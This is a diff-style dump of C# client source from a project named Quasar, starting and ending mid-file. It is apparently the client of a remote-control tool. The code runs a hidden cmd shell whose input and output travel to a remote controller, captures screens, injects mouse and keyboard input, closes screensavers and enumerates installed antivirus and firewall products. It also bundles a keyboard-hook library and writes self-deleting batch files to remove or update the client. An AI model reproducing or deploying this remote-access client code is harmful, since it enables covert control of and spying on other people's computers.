public enum ReasonToFinishPlaying
{
/// <summary>
/// Video playing has finished because it end was reached.
/// </summary>
EndOfStreamReached,
/// <summary>
/// Video playing has finished because it was stopped by user.
/// </summary>
StoppedByUser,
/// <summary>
/// Video playing has finished because the device was lost (unplugged).
/// </summary>
DeviceLost,
/// <summary>
/// Video playing has finished because of some error happened the video source (camera, stream, file, etc.).
/// A error reporting event usually is fired to provide error information.
/// </summary>
VideoSourceError
}
/// <summary>
/// Arguments for new frame event from video source.
/// </summary>
///
public class NewFrameEventArgs : EventArgs
{
private System.Drawing.Bitmap frame;
/// <summary>
/// Initializes a new instance of the <see cref="NewFrameEventArgs"/> class.
/// </summary>
///
/// <param name="frame">New frame.</param>
///
public NewFrameEventArgs( System.Drawing.Bitmap frame )
{
this.frame = frame;
}
/// <summary>
/// New frame from video source.
/// </summary>
///
public System.Drawing.Bitmap Frame
{
get { return frame; }
}
}
/// <summary>
/// Arguments for video source error event from video source.
/// </summary>
///
public class VideoSourceErrorEventArgs : EventArgs
{
private string description;
/// <summary>
/// Initializes a new instance of the <see cref="VideoSourceErrorEventArgs"/> class.
/// </summary>
///
/// <param name="description">Error description.</param>
///
public VideoSourceErrorEventArgs( string description )
{
this.description = description;
}
/// <summary>
/// Video source error description.
/// </summary>
///
public string Description
{
get { return description; }
}
}
}
+16
View File
@@ -0,0 +1,16 @@
using System;
namespace Quasar.Client.Helper
{
public static class DateTimeHelper
{
public static string GetLocalTimeZone()
{
var tz = TimeZoneInfo.Local;
var tzOffset = tz.GetUtcOffset(DateTime.Now);
var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : "";
var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName;
return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})";
}
}
}
+46
View File
@@ -0,0 +1,46 @@
using System.IO;
using System.Runtime.Serialization.Json;
using System.Text;
namespace Quasar.Client.Helper
{
/// <summary>
/// Provides methods to serialize and deserialize JSON.
/// </summary>
public static class JsonHelper
{
/// <summary>
/// Serializes an object to the respectable JSON string.
/// </summary>
public static string Serialize<T>(T o)
{
var s = new DataContractJsonSerializer(typeof(T));
using (var ms = new MemoryStream())
{
s.WriteObject(ms, o);
return Encoding.UTF8.GetString(ms.ToArray());
}
}
/// <summary>
/// Deserializes a JSON string to the specified object.
/// </summary>
public static T Deserialize<T>(string json)
{
var s = new DataContractJsonSerializer(typeof(T));
using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json)))
{
return (T)s.ReadObject(ms);
}
}
/// <summary>
/// Deserializes a JSON stream to the specified object.
/// </summary>
public static T Deserialize<T>(Stream stream)
{
var s = new DataContractJsonSerializer(typeof(T));
return (T)s.ReadObject(stream);
}
}
}
+197
View File
@@ -0,0 +1,197 @@
using Quasar.Client.Utilities;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
namespace Quasar.Client.Helper
{
public static class NativeMethodsHelper
{
private const int INPUT_MOUSE = 0;
private const int INPUT_KEYBOARD = 1;
private const uint MOUSEEVENTF_LEFTDOWN = 0x0002;
private const uint MOUSEEVENTF_LEFTUP = 0x0004;
private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;
private const uint MOUSEEVENTF_RIGHTUP = 0x0010;
private const uint MOUSEEVENTF_WHEEL = 0x0800;
private const uint KEYEVENTF_KEYDOWN = 0x0000;
private const uint KEYEVENTF_KEYUP = 0x0002;
public static uint GetLastInputInfoTickCount()
{
NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo);
lastInputInfo.dwTime = 0;
NativeMethods.GetLastInputInfo(ref lastInputInfo);
return lastInputInfo.dwTime;
}
public static void DoMouseLeftClick(Point p, bool isMouseDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = 0,
dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoMouseRightClick(Point p, bool isMouseDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = 0,
dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoMouseMove(Point p)
{
NativeMethods.SetCursorPos(p.X, p.Y);
}
public static void DoMouseScroll(Point p, bool scrollDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_MOUSE,
u = new NativeMethods.InputUnion
{
mi = new NativeMethods.MOUSEINPUT
{
dx = p.X,
dy = p.Y,
mouseData = scrollDown ? -120 : 120,
dwFlags = MOUSEEVENTF_WHEEL,
time = 0,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
public static void DoKeyPress(byte key, bool keyDown)
{
NativeMethods.INPUT[] inputs = {
new NativeMethods.INPUT
{
type = INPUT_KEYBOARD,
u = new NativeMethods.InputUnion
{
ki = new NativeMethods.KEYBDINPUT
{
wVk = key,
wScan = 0,
dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP,
dwExtraInfo = NativeMethods.GetMessageExtraInfo()
}
}
}
};
NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT)));
}
private const int SPI_GETSCREENSAVERRUNNING = 114;
public static bool IsScreensaverActive()
{
var running = IntPtr.Zero;
if (!NativeMethods.SystemParametersInfo(
SPI_GETSCREENSAVERRUNNING,
0,
ref running,
0))
{
// Something went wrong (Marshal.GetLastWin32Error)
}
return running != IntPtr.Zero;
}
private const uint DESKTOP_WRITEOBJECTS = 0x0080;
private const uint DESKTOP_READOBJECTS = 0x0001;
private const int WM_CLOSE = 16;
private const uint SPI_SETSCREENSAVEACTIVE = 0x0011;
private const uint SPIF_SENDWININICHANGE = 0x0002;
public static void DisableScreensaver()
{
var handle = NativeMethods.OpenDesktop("Screen-saver", 0,
false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
if (handle != IntPtr.Zero)
{
NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) =>
{
if (NativeMethods.IsWindowVisible(hWnd))
NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
// Continue enumeration even if it fails
return true;
},
IntPtr.Zero);
NativeMethods.CloseDesktop(handle);
}
else
{
NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
}
// We need to restart the counter for next screensaver according to
// https://support.microsoft.com/en-us/kb/140723
// (this may not be needed since we simulate mouse click afterwards)
var dummy = IntPtr.Zero;
// Doesn't really matter if this fails
NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE);
}
public static string GetForegroundWindowTitle()
{
StringBuilder sbTitle = new StringBuilder(1024);
NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
return sbTitle.ToString();
}
}
}
+158
View File
@@ -0,0 +1,158 @@
using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.Win32;
using Quasar.Client.Extensions;
using Quasar.Common.Models;
using Quasar.Common.Utilities;
namespace Quasar.Client.Helper
{
public static class RegistryKeyHelper
{
private static string DEFAULT_VALUE = String.Empty;
/// <summary>
/// Adds a value to the registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <param name="name">The name of the value.</param>
/// <param name="value">The value.</param>
/// <param name="addQuotes">If set to True, adds quotes to the value.</param>
/// <returns>True on success, else False.</returns>
public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
{
try
{
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
{
if (key == null) return false;
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
value = "\"" + value + "\"";
key.SetValue(name, value);
return true;
}
}
catch (Exception)
{
return false;
}
}
/// <summary>
/// Opens a read-only registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <returns></returns>
public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
{
try
{
return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false);
}
catch
{
return null;
}
}
/// <summary>
/// Deletes the specified value from the registry key.
/// </summary>
/// <param name="hive">Represents the possible values for a top-level node on a foreign machine.</param>
/// <param name="path">The path to the registry key.</param>
/// <param name="name">The name of the value to delete.</param>
/// <returns>True on success, else False.</returns>
public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
{
try
{
using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path))
{
if (key == null) return false;
key.DeleteValue(name, true);
return true;
}
}
catch (Exception)
{
return false;
}
}
/// <summary>
/// Checks if the provided value is the default value
/// </summary>
/// <param name="valueName">The name of the value</param>
/// <returns>True if default value, else False</returns>
public static bool IsDefaultValue(string valueName)
{
return String.IsNullOrEmpty(valueName);
}
/// <summary>
/// Adds the default value to the list of values and returns them as an array.
/// If default value already exists this function will only return the list as an array.
/// </summary>
/// <param name="values">The list with the values for which the default value should be added to</param>
/// <returns>Array with all of the values including the default value</returns>
public static RegValueData[] AddDefaultValue(List<RegValueData> values)
{
if(!values.Any(value => IsDefaultValue(value.Name)))
{
values.Add(GetDefaultValue());
}
return values.ToArray();
}
/// <summary>
/// Gets the default registry values
/// </summary>
/// <returns>A array with the default registry values</returns>
public static RegValueData[] GetDefaultValues()
{
return new[] {GetDefaultValue()};
}
public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null)
{
var newRegValue = new RegValueData {Name = name, Kind = kind};
if (value == null)
newRegValue.Data = new byte[] { };
else
{
switch (newRegValue.Kind)
{
case RegistryValueKind.Binary:
newRegValue.Data = (byte[]) value;
break;
case RegistryValueKind.MultiString:
newRegValue.Data = ByteConverter.GetBytes((string[]) value);
break;
case RegistryValueKind.DWord:
newRegValue.Data = ByteConverter.GetBytes((uint) (int) value);
break;
case RegistryValueKind.QWord:
newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value);
break;
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
newRegValue.Data = ByteConverter.GetBytes((string) value);
break;
}
}
return newRegValue;
}
private static RegValueData GetDefaultValue()
{
return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
}
}
}
+38
View File
@@ -0,0 +1,38 @@
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.Windows.Forms;
using Quasar.Client.Utilities;
namespace Quasar.Client.Helper
{
public static class ScreenHelper
{
private const int SRCCOPY = 0x00CC0020;
public static Bitmap CaptureScreen(int screenNumber)
{
Rectangle bounds = GetBounds(screenNumber);
Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb);
using (Graphics g = Graphics.FromImage(screen))
{
IntPtr destDeviceContext = g.GetHdc();
IntPtr srcDeviceContext = NativeMethods.CreateDC("DISPLAY", null, null, IntPtr.Zero);
NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X,
bounds.Y, SRCCOPY);
NativeMethods.DeleteDC(srcDeviceContext);
g.ReleaseHdc(destDeviceContext);
}
return screen;
}
public static Rectangle GetBounds(int screenNumber)
{
return Screen.AllScreens[screenNumber].Bounds;
}
}
}
+95
View File
@@ -0,0 +1,95 @@
using Quasar.Common.Helpers;
using System;
using System.Management;
namespace Quasar.Client.Helper
{
public static class SystemHelper
{
public static string GetUptime()
{
try
{
string uptime = string.Empty;
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'"))
{
foreach (ManagementObject mObject in searcher.Get())
{
DateTime lastBootUpTime = ManagementDateTimeConverter.ToDateTime(mObject["LastBootUpTime"].ToString());
TimeSpan uptimeSpan = TimeSpan.FromTicks((DateTime.Now - lastBootUpTime).Ticks);
uptime = string.Format("{0}d : {1}h : {2}m : {3}s", uptimeSpan.Days, uptimeSpan.Hours, uptimeSpan.Minutes, uptimeSpan.Seconds);
break;
}
}
if (string.IsNullOrEmpty(uptime))
throw new Exception("Getting uptime failed");
return uptime;
}
catch (Exception)
{
return string.Format("{0}d : {1}h : {2}m : {3}s", 0, 0, 0, 0);
}
}
public static string GetPcName()
{
return Environment.MachineName;
}
public static string GetAntivirus()
{
try
{
string antivirusName = string.Empty;
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
string query = "SELECT * FROM AntivirusProduct";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
{
foreach (ManagementObject mObject in searcher.Get())
{
antivirusName += mObject["displayName"].ToString() + "; ";
}
}
antivirusName = StringHelper.RemoveLastChars(antivirusName);
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
}
catch
{
return "Unknown";
}
}
public static string GetFirewall()
{
try
{
string firewallName = string.Empty;
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter";
string query = "SELECT * FROM FirewallProduct";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
{
foreach (ManagementObject mObject in searcher.Get())
{
firewallName += mObject["displayName"].ToString() + "; ";
}
}
firewallName = StringHelper.RemoveLastChars(firewallName);
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
}
catch
{
return "Unknown";
}
}
}
}
+26
View File
@@ -0,0 +1,26 @@
<?xml version="1.0" encoding="utf-8" ?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="ILRepacker" AfterTargets="PostBuildEvent" Condition="'$(Configuration)' == 'Release'">
<ItemGroup>
<InputAssemblies Include="$(TargetPath)"/>
<InputAssemblies Include="$(TargetDir)protobuf-net.dll"/>
<InputAssemblies Include="$(TargetDir)Gma.System.MouseKeyHook.dll"/>
<InputAssemblies Include="$(TargetDir)Quasar.Common.dll"/>
<InputAssemblies Include="$(TargetDir)BouncyCastle.Crypto.dll"/>
</ItemGroup>
<ILRepack
Parallel="true"
Internalize="true"
InputAssemblies="@(InputAssemblies)"
TargetKind="SameAsPrimaryAssembly"
OutputFile="$(TargetPath)"/>
</Target>
<Target Name="CopyWindows" AfterTargets="PostBuildEvent" Condition="'$(OS)' == 'Windows_NT' ">
<Exec Command='copy "$(TargetPath)" "$(TargetDir)client.bin" /Y' />
</Target>
<Target Name="CopyUnix" AfterTargets="PostBuildEvent" Condition="'$(OS)' != 'Windows_NT' ">
<Exec Command='cp "$(TargetPath)" "$(TargetDir)client.bin"' />
</Target>
</Project>
+79
View File
@@ -0,0 +1,79 @@
using Quasar.Common.Helpers;
using System.IO;
using System.Text;
namespace Quasar.Client.IO
{
/// <summary>
/// Provides methods to create batch files for application update, uninstall and restart operations.
/// </summary>
public static class BatchFile
{
/// <summary>
/// Creates the uninstall batch file.
/// </summary>
/// <param name="currentFilePath">The current file path of the client.</param>
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
public static string CreateUninstallBatch(string currentFilePath)
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string uninstallBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" +
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
return batchFile;
}
/// <summary>
/// Creates the update batch file.
/// </summary>
/// <param name="currentFilePath">The current file path of the client.</param>
/// <param name="newFilePath">The new file path of the client.</param>
/// <returns>The file path to the batch file which can then get executed. Returns an empty string on failure.</returns>
public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string updateBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 15 localhost > nul" + "\r\n" + // Increased delay to 15 seconds
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
return batchFile;
}
/// <summary>
/// Creates the restart batch file.
/// </summary>
/// <param name="currentFilePath">The current file path of the client.</param>
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
public static string CreateRestartBatch(string currentFilePath)
{
string batchFile = FileHelper.GetTempFilePath(".bat");
string restartBatch =
"@echo off" + "\r\n" +
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
"ping -n 10 localhost > nul" + "\r\n" +
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
"del /a /q /f " + "\"" + batchFile + "\"";
File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
return batchFile;
}
}
}
+264
View File
@@ -0,0 +1,264 @@
using Quasar.Common.Cryptography;
using Quasar.Common.Helpers;
using System;
using System.Linq;
using System.Management;
using System.Net.NetworkInformation;
using System.Net.Sockets;
namespace Quasar.Client.IO
{
/// <summary>
/// Provides access to retrieve information about the used hardware devices.
/// </summary>
/// <remarks>Caches the retrieved information to reduce the slowdown of the slow WMI queries.</remarks>
public static class HardwareDevices
{
/// <summary>
/// Gets a unique hardware id as a combination of various hardware components.
/// </summary>
public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer));
/// <summary>
/// Used to cache the hardware id.
/// </summary>
private static string _hardwareId;
/// <summary>
/// Gets the name of the system CPU.
/// </summary>
public static string CpuName => _cpuName ?? (_cpuName = GetCpuName());
/// <summary>
/// Used to cache the CPU name.
/// </summary>
private static string _cpuName;
/// <summary>
/// Gets the name of the GPU.
/// </summary>
public static string GpuName => _gpuName ?? (_gpuName = GetGpuName());
/// <summary>
/// Used to cache the GPU name.
/// </summary>
private static string _gpuName;
/// <summary>
/// Gets the name of the BIOS manufacturer.
/// </summary>
public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer());
/// <summary>
/// Used to cache the BIOS manufacturer.
/// </summary>
private static string _biosManufacturer;
/// <summary>
/// Gets the name of the mainboard.
/// </summary>
public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName());
/// <summary>
/// Used to cache the mainboard name.
/// </summary>
private static string _mainboardName;
/// <summary>
/// Gets the total physical memory of the system in megabytes (MB).
/// </summary>
public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb());
/// <summary>
/// Used to cache the total physical memory.
/// </summary>
private static int? _totalPhysicalMemory;
/// <summary>
/// Gets the LAN IP address of the network interface.
/// </summary>
public static string LanIpAddress => GetLanIpAddress();
/// <summary>
/// Gets the MAC address of the network interface.
/// </summary>
public static string MacAddress => GetMacAddress();
private static string GetBiosManufacturer()
{
try
{
string biosIdentifier = string.Empty;
string query = "SELECT * FROM Win32_BIOS";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
{
foreach (ManagementObject mObject in searcher.Get())
{
biosIdentifier = mObject["Manufacturer"].ToString();
break;
}
}
return (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A";
}
catch
{
}
return "Unknown";
}
private static string GetMainboardName()
{
try
{
string mainboardIdentifier = string.Empty;
string query = "SELECT * FROM Win32_BaseBoard";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
{
foreach (ManagementObject mObject in searcher.Get())
{
mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString();
break;
}
}
return (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A";
}
catch
{
}
return "Unknown";
}
private static string GetCpuName()
{
try
{
string cpuName = string.Empty;
string query = "SELECT * FROM Win32_Processor";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
{
foreach (ManagementObject mObject in searcher.Get())
{
cpuName += mObject["Name"].ToString() + "; ";
}
}
cpuName = StringHelper.RemoveLastChars(cpuName);
return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A";
}
catch
{
}
return "Unknown";
}
private static int GetTotalPhysicalMemoryInMb()
{
try
{
int installedRAM = 0;
string query = "Select * From Win32_ComputerSystem";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
{
foreach (ManagementObject mObject in searcher.Get())
{
double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
installedRAM = (int)(bytes / 1048576); // bytes to MB
break;
}
}
return installedRAM;
}
catch
{
return -1;
}
}
private static string GetGpuName()
{
try
{
string gpuName = string.Empty;
string query = "SELECT * FROM Win32_DisplayConfiguration";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
{
foreach (ManagementObject mObject in searcher.Get())
{
gpuName += mObject["Description"].ToString() + "; ";
}
}
gpuName = StringHelper.RemoveLastChars(gpuName);
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
}
catch
{
return "Unknown";
}
}
private static string GetLanIpAddress()
{
// TODO: support multiple network interfaces
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
{
GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
if (gatewayAddress != null) //exclude virtual physical nic with no default gateway
{
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
ni.OperationalStatus == OperationalStatus.Up)
{
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
{
if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
continue;
return ip.Address.ToString();
}
}
}
}
return "-";
}
private static string GetMacAddress()
{
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
{
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
ni.OperationalStatus == OperationalStatus.Up)
{
bool foundCorrect = false;
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
{
if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
continue;
foundCorrect = (ip.Address.ToString() == GetLanIpAddress());
}
if (foundCorrect)
return StringHelper.GetFormattedMacAddress(ni.GetPhysicalAddress().ToString());
}
}
return "-";
}
}
}
+332
View File
@@ -0,0 +1,332 @@
using Quasar.Client.Networking;
using Quasar.Common.Messages;
using System;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Text;
using System.Threading;
namespace Quasar.Client.IO
{
/// <summary>
/// This class manages a remote shell session.
/// </summary>
public class Shell : IDisposable
{
/// <summary>
/// The process of the command-line (cmd).
/// </summary>
private Process _prc;
/// <summary>
/// Decides if we should still read from the output.
/// <remarks>
/// Detects unexpected closing of the shell.
/// </remarks>
/// </summary>
private bool _read;
/// <summary>
/// The lock object for the read variable.
/// </summary>
private readonly object _readLock = new object();
/// <summary>
/// The lock object for the StreamReader.
/// </summary>
private readonly object _readStreamLock = new object();
/// <summary>
/// The current console encoding.
/// </summary>
private Encoding _encoding;
/// <summary>
/// Redirects commands to the standard input stream of the console with the correct encoding.
/// </summary>
private StreamWriter _inputWriter;
/// <summary>
/// The client to sends responses to.
/// </summary>
private readonly QuasarClient _client;
/// <summary>
/// Initializes a new instance of the <see cref="Shell"/> class using a given client.
/// </summary>
/// <param name="client">The client to send shell responses to.</param>
public Shell(QuasarClient client)
{
_client = client;
}
/// <summary>
/// Creates a new session of the shell.
/// </summary>
private void CreateSession()
{
lock (_readLock)
{
_read = true;
}
var cultureInfo = CultureInfo.InstalledUICulture;
_encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage);
_prc = new Process
{
StartInfo = new ProcessStartInfo("cmd")
{
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
StandardOutputEncoding = _encoding,
StandardErrorEncoding = _encoding,
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
Arguments = $"/K CHCP {_encoding.CodePage}"
}
};
_prc.Start();
RedirectIO();
_client.Send(new DoShellExecuteResponse
{
Output = "\n>> New Session created\n"
});
}
/// <summary>
/// Starts the redirection of input and output.
/// </summary>
private void RedirectIO()
{
_inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding);
new Thread(RedirectStandardOutput).Start();
new Thread(RedirectStandardError).Start();
}
/// <summary>
/// Reads the output from the stream.
/// </summary>
/// <param name="firstCharRead">The first read char.</param>
/// <param name="streamReader">The StreamReader to read from.</param>
/// <param name="isError">True if reading from the error-stream, else False.</param>
private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError)
{
lock (_readStreamLock)
{
var streamBuffer = new StringBuilder();
streamBuffer.Append((char)firstCharRead);
// While there are more characters to be read
while (streamReader.Peek() > -1)
{
// Read the character in the queue
var ch = streamReader.Read();
// Accumulate the characters read in the stream buffer
streamBuffer.Append((char)ch);
if (ch == '\n')
SendAndFlushBuffer(ref streamBuffer, isError);
}
// Flush any remaining text in the buffer
SendAndFlushBuffer(ref streamBuffer, isError);
}
}
/// <summary>
/// Sends the read output to the Client.
/// </summary>
/// <param name="textBuffer">Contains the contents of the output.</param>
/// <param name="isError">True if reading from the error-stream, else False.</param>
private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError)
{
if (textBuffer.Length == 0) return;
var toSend = ConvertEncoding(_encoding, textBuffer.ToString());
if (string.IsNullOrEmpty(toSend)) return;
_client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError });
textBuffer.Clear();
}
/// <summary>
/// Reads from the standard output-stream.
/// </summary>
private void RedirectStandardOutput()
{
try
{
int ch;
// The Read() method will block until something is available
while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1)
{
ReadStream(ch, _prc.StandardOutput, false);
}
lock (_readLock)
{
if (_read)
{
_read = false;
throw new ApplicationException("session unexpectedly closed");
}
}
}
catch (ObjectDisposedException)
{
// just exit
}
catch (Exception ex)
{
if (ex is ApplicationException || ex is InvalidOperationException)
{
_client.Send(new DoShellExecuteResponse
{
Output = "\n>> Session unexpectedly closed\n",
IsError = true
});
CreateSession();
}
}
}
/// <summary>
/// Reads from the standard error-stream.
/// </summary>
private void RedirectStandardError()
{
try
{
int ch;
// The Read() method will block until something is available
while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1)
{
ReadStream(ch, _prc.StandardError, true);
}
lock (_readLock)
{
if (_read)
{
_read = false;
throw new ApplicationException("session unexpectedly closed");
}
}
}
catch (ObjectDisposedException)
{
// just exit
}
catch (Exception ex)
{
if (ex is ApplicationException || ex is InvalidOperationException)
{
_client.Send(new DoShellExecuteResponse
{
Output = "\n>> Session unexpectedly closed\n",
IsError = true
});
CreateSession();
}
}
}
/// <summary>
/// Executes a shell command.
/// </summary>
/// <param name="command">The command to execute.</param>
/// <returns>False if execution failed, else True.</returns>
public bool ExecuteCommand(string command)
{
if (_prc == null || _prc.HasExited)
{
try
{
CreateSession();
}
catch (Exception ex)
{
_client.Send(new DoShellExecuteResponse
{
Output = $"\n>> Failed to creation shell session: {ex.Message}\n",
IsError = true
});
return false;
}
}
_inputWriter.WriteLine(ConvertEncoding(_encoding, command));
_inputWriter.Flush();
return true;
}
/// <summary>
/// Converts the encoding of an input string to UTF-8 format.
/// </summary>
/// <param name="sourceEncoding">The source encoding of the input string.</param>
/// <param name="input">The input string.</param>
/// <returns>The input string in UTF-8 format.</returns>
private string ConvertEncoding(Encoding sourceEncoding, string input)
{
var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input));
return Encoding.UTF8.GetString(utf8Text);
}
/// <summary>
/// Releases all resources used by this class.
